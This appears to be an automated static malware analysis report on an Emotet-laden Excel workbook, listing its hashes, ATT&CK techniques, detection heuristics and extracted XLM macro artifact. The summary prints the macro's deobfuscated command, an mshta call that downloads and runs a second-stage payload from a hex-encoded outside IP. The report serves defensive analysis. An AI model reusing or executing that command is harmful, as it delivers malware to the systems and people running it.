Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 b463abec1dfc612e…

MALICIOUS

Office (OLE) / .XLSX

128.8 KB Created: 2022-01-17 21:27:03 Authoring application: Microsoft Excel
MD5: 16c509251625b119cb05d77a6c8a7fe7 SHA-1: a4c40c593e81450c88f8e4022305ca4a74dab559 SHA-256: b463abec1dfc612e1ea59fa20ed07f468fbdc69e8694a5af639fa79435ce4f58
140 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Service Execution: Visual Basic T1204.002 Malicious File: Malicious File

The critical heuristics indicate the presence of an Excel 4.0 macro sheet with an Auto_Open entry, and ClamAV identifies it as Emotet. The extracted macro script explicitly defines a string that reconstructs to 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/c^c.h^tm^l'. This command is designed to download and execute a second-stage payload from the specified URL, a common Emotet delivery technique.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • ClamAV: Doc.Downloader.EmotetExcel01220-9936774-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetExcel01220-9936774-0
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
a0fd1b709c0182b7bfad87bd5382ad41592e9af0d0093f5e68d1ff145f18d235
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 653 bytes